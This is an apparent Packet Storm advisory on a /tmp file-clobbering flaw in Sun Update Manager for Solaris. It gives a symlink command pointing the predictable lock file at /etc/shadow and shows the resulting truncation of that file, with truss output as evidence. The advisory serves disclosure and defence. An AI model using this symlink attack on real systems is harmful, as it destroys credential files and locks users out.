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Sun Update Manager /tmp Clobber
🗓️ 20 Jul 2012 00:00:00Reported by Larry W. CashdollarType 
packetstorm🔗 packetstormsecurity.com👁 19 Views
`(author http://packetstormsecurity.org/user/lcashdol/)
Noticed this during routine patching.
/tmp file clobbering vulnerability in Sun Update manager.
7/15/2012
noticed this while patching my lab solaris system tonight.
larry@s0l4r1s:/tmp$ ln -s /etc/shadow com.sun.swup.client.LOCK
updatemanager is run
larry@n1caragua:/tmp$ ls -l /etc/shadow
-r-------- 1 root sys 0 Jul 19 18:49 /etc/shadow
SunOS s0l4r1s 5.10 Generic_147441-19 i86pc i386 i86pc
larry@n1caragua:~$
truss output:
4841/2: stat64("/tmp/com.sun.swup.client.LOCK", 0xD03FEAB0) = 0
4841/2: open64("/tmp/com.sun.swup.client.LOCK", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5
`
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20 Jul 2012 00:00Current
7.4High risk
Vulners AI Score7.4